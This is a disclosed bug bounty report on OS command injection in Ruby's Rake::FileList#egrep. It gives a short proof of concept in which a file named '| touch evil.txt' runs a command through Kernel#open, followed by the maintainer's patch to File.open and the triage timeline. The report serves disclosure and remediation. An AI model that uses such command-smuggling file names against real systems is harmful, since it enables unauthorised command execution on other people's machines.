61

OS Command Injection via egrep in Rake::FileList

Share:

TIMELINE

yoshida submitted a report to Ruby. Jul 20th (3 ye

When a file which has command file name of stating with `|` is in `Rake::FileList`, then `egrep` will execute the command.

How to reproduce

PoC (`poc_rake.rb`) is the following.

Code 87 Bytes Wrap lines Copy Dow

```
require 'rake'

list = Rake::FileList.new(Dir.glob('*'))
p list
list.egrep(/something/)
```

Example of executing.

Code 355 Bytes Wrap lines Copy Dow

```
% ls -1
Gemfile
Gemfile.lock
poc_rake.rb
vendor
| touch evil.txt
% bundle exec ruby poc_rake.rb
["poc_rake.rb", "Gemfile", "Gemfile.lock", "| touch evil.txt", "vendor"]
poc_rake.rb:6:list.egrep(/something/)
Error while processing 'vendor': Is a directory @ io_fillbuf - fd:7 vendor
% ls -1
Gemfile
Gemfile.lock
evil.txt
poc_rake.rb
vendor
| touch evil.txt
```

`evil.txt` was created.

Impact

An attacker must deploy a file containing command names in the target environment, assuming that this attack is successful. If that would be a serious problem.

hsbt Ruby staff changed the status to **Triaged**. Jul 20th (3 ye

hsbt Ruby staff posted a comment. Jul 20th (3 ye

I confirmed. How about the following patch for this issue?

Code 396 Bytes Wrap lines Copy Dow

```
diff --git lib/rake/file_list.rb lib/rake/file_list.rb
index 15ea4b3..22c339f 100644
--- lib/rake/file_list.rb
+++ lib/rake/file_list.rb
@@ -294,7 +294,7 @@ module Rake
       matched = 0
       each do |fn|
         begin
-          open(fn, "r", *options) do |inf|
+          File.open(fn, "r", *options) do |inf|
             count = 0
             inf.each do |line|
               count += 1
```

yoshida posted a comment. Jul 20th (3 ye

It looks good. Thanks.

hsbt Ruby staff posted a comment. Jul 21st (3 ye

This issue seems vulnerable like https://www.ruby-lang.org/en/news/2017/12/14/net-ftp-command-injection-cve-2017-17405/. But the attack surface was lin because if It's difficult to inject malicious input to `Rake::FileList` by attackers with the current usage of Rake in the world.

hsbt Ruby staff closed the report and changed the status to **Resolved**. Jul 21st (3 ye

The Internet Bug Bounty rewarded kyoshida with a **$200** bounty. Jul 21st (3 ye

hsbt Ruby staff requested to disclose this report. Aug 28th (3 ye

kyoshida agreed to disclose this report. Aug 28th (3 ye